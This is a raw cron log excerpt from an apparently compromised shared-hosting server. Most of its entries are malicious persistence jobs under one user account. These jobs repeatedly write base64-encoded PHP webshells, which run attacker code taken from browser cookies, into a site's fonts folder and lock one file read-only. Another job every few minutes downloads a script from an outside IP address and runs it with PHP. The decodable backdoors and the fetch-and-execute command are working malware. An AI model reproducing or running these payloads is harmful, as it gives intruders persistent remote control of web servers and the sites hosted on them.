Sep  8 00:58:01 ip-184-168-122-23 CROND[14516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:58:01 ip-184-168-122-23 CROND[14517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:59:01 ip-184-168-122-23 CROND[14611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 00:59:01 ip-184-168-122-23 CROND[14612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 00:59:01 ip-184-168-122-23 CROND[14616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 00:59:01 ip-184-168-122-23 CROND[14617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:00:01 ip-184-168-122-23 CROND[14705]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:00:01 ip-184-168-122-23 CROND[14704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:00:01 ip-184-168-122-23 CROND[14706]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 01:00:01 ip-184-168-122-23 CROND[14710]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:00:01 ip-184-168-122-23 CROND[14713]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:00:01 ip-184-168-122-23 CROND[14717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:00:01 ip-184-168-122-23 CROND[14714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:00:01 ip-184-168-122-23 CROND[14715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:01:01 ip-184-168-122-23 CROND[14890]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 01:01:01 ip-184-168-122-23 CROND[14892]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 01:01:01 ip-184-168-122-23 CROND[14895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:01:01 ip-184-168-122-23 CROND[14893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:01:01 ip-184-168-122-23 CROND[14896]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:01:01 ip-184-168-122-23 CROND[14894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14892]: starting 0anacron
Sep  8 01:01:01 ip-184-168-122-23 anacron[14910]: Anacron started on 2026-09-08
Sep  8 01:01:01 ip-184-168-122-23 anacron[14910]: Normal exit (0 jobs run)
Sep  8 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14912]: finished 0anacron
Sep  8 01:02:01 ip-184-168-122-23 CROND[14983]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:02:01 ip-184-168-122-23 CROND[14985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:02:01 ip-184-168-122-23 CROND[14986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:02:01 ip-184-168-122-23 CROND[14989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:02:01 ip-184-168-122-23 CROND[14990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:03:01 ip-184-168-122-23 CROND[15067]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:03:01 ip-184-168-122-23 CROND[15069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:03:01 ip-184-168-122-23 CROND[15068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:03:01 ip-184-168-122-23 CROND[15070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:04:01 ip-184-168-122-23 CROND[15160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:04:01 ip-184-168-122-23 CROND[15161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:04:01 ip-184-168-122-23 CROND[15162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:04:01 ip-184-168-122-23 CROND[15164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:04:01 ip-184-168-122-23 CROND[15165]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:05:01 ip-184-168-122-23 CROND[15291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:05:01 ip-184-168-122-23 CROND[15293]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 01:05:01 ip-184-168-122-23 CROND[15295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:05:01 ip-184-168-122-23 CROND[15292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:05:01 ip-184-168-122-23 CROND[15298]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 01:05:01 ip-184-168-122-23 CROND[15297]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 01:05:01 ip-184-168-122-23 CROND[15299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:06:01 ip-184-168-122-23 CROND[15382]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:06:01 ip-184-168-122-23 CROND[15384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:06:01 ip-184-168-122-23 CROND[15383]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:06:01 ip-184-168-122-23 CROND[15386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:06:01 ip-184-168-122-23 CROND[15387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:07:01 ip-184-168-122-23 CROND[15550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:07:01 ip-184-168-122-23 CROND[15553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:07:01 ip-184-168-122-23 CROND[15551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:07:01 ip-184-168-122-23 CROND[15552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:08:01 ip-184-168-122-23 CROND[15630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:08:02 ip-184-168-122-23 CROND[15632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:08:02 ip-184-168-122-23 CROND[15634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:08:02 ip-184-168-122-23 CROND[15635]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:08:02 ip-184-168-122-23 CROND[15636]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 01:09:01 ip-184-168-122-23 CROND[15712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 01:09:01 ip-184-168-122-23 CROND[15714]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 01:09:01 ip-184-168-122-23 CROND[15715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 01:09:01 ip-184-168-122-23 CROND[15717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 01:09:01 ip-184-168-122-23 CROND[15716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 01:10:01 ip-184-168-122-23 CROND[15802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
